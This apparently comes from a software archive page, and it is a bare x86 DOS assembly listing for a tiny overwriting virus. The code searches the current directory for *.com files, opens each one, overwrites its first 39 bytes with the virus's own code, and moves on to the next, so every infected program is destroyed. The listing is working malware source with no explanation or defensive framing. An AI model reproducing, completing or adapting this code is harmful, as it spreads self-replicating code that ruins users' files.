home *** CD-ROM | disk | FTP | other *** search
- xor cx,cx
- mov dx,offset File
- mov ah,4eh
- int 21h
- z:
- mov dx,9eh
- mov ax,3d02h
- int 21h
- mov bx,ax
- mov dx,100h
- mov cl,27h
- mov ah,40h
- int 21h
- mov ah,3eh
- int 21h
- mov ah,4fh
- int 21h
- jnc z
- ret
- file db '*.com',0
- e: